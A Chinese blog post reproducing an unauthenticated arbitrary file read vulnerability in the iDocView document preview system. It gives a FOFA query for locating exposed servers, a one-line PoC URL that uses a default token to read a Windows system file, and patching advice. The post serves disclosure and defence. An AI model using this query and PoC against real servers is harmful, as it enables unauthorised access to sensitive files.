I Doc View在线文档预览系统任意文件读取漏洞复现
2023-12-14 15:40:15
0x01 产品简介
?iDocView是一个在线文档解析应用,旨在提供便捷的文件查看和编辑服务。
0x02 漏洞概述
?iDocView是一个在线文档预览系统 /doc/upload 接口处存在任意文件读取漏洞,未授权的攻击者可以利用此接口并携带默认token读取服务器敏感文件信息,使系统处于极度不安全的状态。
0x03 复现环境
FOFA:title=="在线文档预览 - I Doc View"
0x04 漏洞复现
PoC
http://your-ip/doc/upload?token=testtoken&url=file:///C:/windows/win.ini&name=test.txt
?PS:访问srcUrl返回路径,即可读取文件内容
0x05 修复建议?
更新 I Doc View 在线文档预览系统至安全版本:
https://www.idocv.com/
临时屏蔽doc/upload接口。
文章来源:https://blog.csdn.net/qq_41904294/article/details/134995343
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。 如若内容造成侵权/违法违规/事实不符,请联系我的编程经验分享网邮箱:veading@qq.com进行投诉反馈,一经查实,立即删除!
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。 如若内容造成侵权/违法违规/事实不符,请联系我的编程经验分享网邮箱:veading@qq.com进行投诉反馈,一经查实,立即删除!